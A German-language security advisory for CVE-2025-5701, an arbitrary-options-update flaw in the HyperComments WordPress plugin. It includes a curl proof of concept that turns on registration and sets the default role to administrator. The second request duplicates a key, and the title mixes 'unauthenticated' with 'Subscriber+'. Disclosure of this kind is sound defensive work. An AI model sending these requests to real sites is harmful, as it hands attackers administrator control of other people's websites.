CVE-2025-5701

HyperComments <= 1.2.2 - Nicht authentifizierte (Abonnent+) beliebige Optionen aktualisieren

Beschreibung

Das HyperComments-Plugin für WordPress ist anfällig für unbefugte Modifikation von Daten, die zu einer Privilegieneskalation führen kann, da in allen Versionen bis einschließlich 1.2.2 eine fehlende Berechtigungsprüfung in der Funktion hc_request_handler vorhanden ist. Dies ermöglicht es nicht authentifizierten Angreifern, beliebige Optionen auf der WordPress-Seite zu aktualisieren. Dies kann genutzt werden, um die Standardrolle für Registrierungen auf Administrator zu ändern und die Benutzerregistrierung zu aktivieren, sodass Angreifer administrative Benutzerzugriffe auf eine verwundbare Website erhalten.

Details

• Typ: plugin
• Slug: hypercomments
• Betroffene Version: 1.2.2
• CVSS-Score: 9.8
• CVSS-Bewertung: Kritisch
• CVSS-Vektor: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• CVE: CVE-2025-5701
• Status: Geschlossen

POC

curl -X POST "http://kubernetes.docker.internal:8999/?hc_action=update_options" \
  -d "data={\"users_can_register\":\"1\",\"default_role\":\"administrator\"}" \
  -H "Content-Type: application/x-www-form-urlencoded"

curl -X POST "http://kubernetes.docker.internal:8999/?hc_action=update_options" \
  -d "data={\"users_can_register\":\"1\",\"users_can_register\":\"1\"}" \
  -H "Content-Type: application/x-www-form-urlencoded"